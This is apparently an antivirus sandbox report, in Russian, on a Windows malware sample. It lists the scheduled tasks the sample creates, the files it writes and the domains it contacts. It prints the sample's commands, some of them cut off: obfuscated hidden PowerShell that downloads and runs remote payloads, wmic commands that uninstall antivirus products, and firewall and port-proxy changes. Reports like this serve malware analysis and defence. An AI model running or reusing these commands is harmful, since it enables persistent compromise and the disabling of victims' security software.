Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\blackball
- <SYSTEM32>\tasks\0xuwt6
- <SYSTEM32>\tasks\8orf5wug\12vy4kxa
- <SYSTEM32>\tasks\microsoft\windows\b8pzsndy\uadzomcjj5e
- <SYSTEM32>\tasks\t.pp6r1.com
- <SYSTEM32>\tasks\nrjhkxzumbe
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\esk5gmc8bhz.exe' -
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\temp\cab6b4.tmp
- %WINDIR%\temp\tar6b5.tmp
- %WINDIR%\temp\792bd.mst
- %WINDIR%\temp\if.bin
- %WINDIR%\temp\kr.bin
- %WINDIR%\temp\g8lihjiz.0.cs
- %WINDIR%\temp\g8lihjiz.cmdline
- %WINDIR%\temp\g8lihjiz.out
- %WINDIR%\temp\m6.bin
- %WINDIR%\temp\m6.bin.ori
- %WINDIR%\temp\g8lihjiz.pdb
- %WINDIR%\temp\cscf1bd.tmp
- %WINDIR%\temp\resf1be.tmp
- %WINDIR%\temp\g8lihjiz.dll
- %WINDIR%\temp\792be.mst
Удаляет следующие файлы
- %WINDIR%\temp\cab6b4.tmp
- %WINDIR%\temp\tar6b5.tmp
- %WINDIR%\temp\792bd.mst
- %WINDIR%\temp\resf1be.tmp
- %WINDIR%\temp\cscf1bd.tmp
- %WINDIR%\temp\g8lihjiz.out
- %WINDIR%\temp\g8lihjiz.0.cs
- %WINDIR%\temp\g8lihjiz.cmdline
- %WINDIR%\temp\g8lihjiz.dll
- %WINDIR%\temp\g8lihjiz.pdb
- %WINDIR%\temp\792be.mst
Сетевая активность
Подключается к
- 'microsoft.com':80
- 't.##3u9.com':80
- 'localhost':43669
- 'd.##38l.com':80
- 'oc##.#tartssl.com':80
TCP
Запросы HTTP GET
- http://t.##3u9.com/report.jsp?&e#################################################################################################################################################################...
UDP
- DNS ASK t.##er9.com
- DNS ASK t.##3r0.com
- DNS ASK microsoft.com
- DNS ASK t.##3u9.com
- DNS ASK d.##38l.com
- DNS ASK oc##.#tartssl.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]:...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase6...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\g8lihjiz.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESF1BE.tmp" "%WINDIR%\Temp\CSCF1BD.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\5uuibs5o.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESB8E3.tmp" "%WINDIR%\Temp\CSCB8E2.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\nrkjaiz7.cmdline"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='dcd9144d509e7c6e1e63ecdd7e50e935';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.##...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='dcd9144d509e7c6e1e63ecdd7e50e935';$ifp=$env:tmp+'\m6.bin';$down_url='http...
- '<SYSTEM32>\cmd.exe' /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='e04acec7ab98362d87d1c53d84fc4b03';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.#####...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='e04acec7ab98362d87d1c53d84fc4b03';$ifp=$env:tmp+'\kr.bin';$down_url='http://...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn t.pp6r1.com /F /tr t.pp6r1.com
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \nrjhkXzuMbE /F /tr "powershell -c PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn \nrjhkXzuMbE
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase6...
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESB8E3.tmp" "%WINDIR%\Temp\CSCB8E2.tmp"
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\g8lihjiz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESF1BE.tmp" "%WINDIR%\Temp\CSCF1BD.tmp"
- '<SYSTEM32>\sc.exe' Config xWinWpdSrv Start= Disabled
- '<SYSTEM32>\sc.exe' Stop xWinWpdSrv
- '<SYSTEM32>\sc.exe' Delete xWinWpdSrv
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\5uuibs5o.cmdline"
- '<SYSTEM32>\sc.exe' Config SVSHost Start= Disabled
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='ac075fafd1eb5c8ace3cd212b0e196af';$ifp=$env:tmp+'\if.bin';$down_url='http://...
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
- '<SYSTEM32>\cmd.exe' /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='ac075fafd1eb5c8ace3cd212b0e196af';$ifp=$env:tmp+'\if.bin';$down_url='http://d.#####...
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Eset%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avast%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avp%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Security%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%AntiVirus%'" call uninstall /nointeractive
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\B8pzsNdy\UadzOmCJj5e /F /tr "powershell -w hidden -c PS_CMD"
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Norton Security%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe /verysilent /suppressmsgboxes /norestart
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \0xuWT6 /F /tr "powershell -w hidden -c PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn \0xuWT6
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]:...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn 8oRf5wuG\12vy4kxA /F /tr "powershell -w hidden -c PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn 8oRf5wuG\12vy4kxA
- '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\B8pzsNdy\UadzOmCJj5e
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\nrkjaiz7.cmdline"
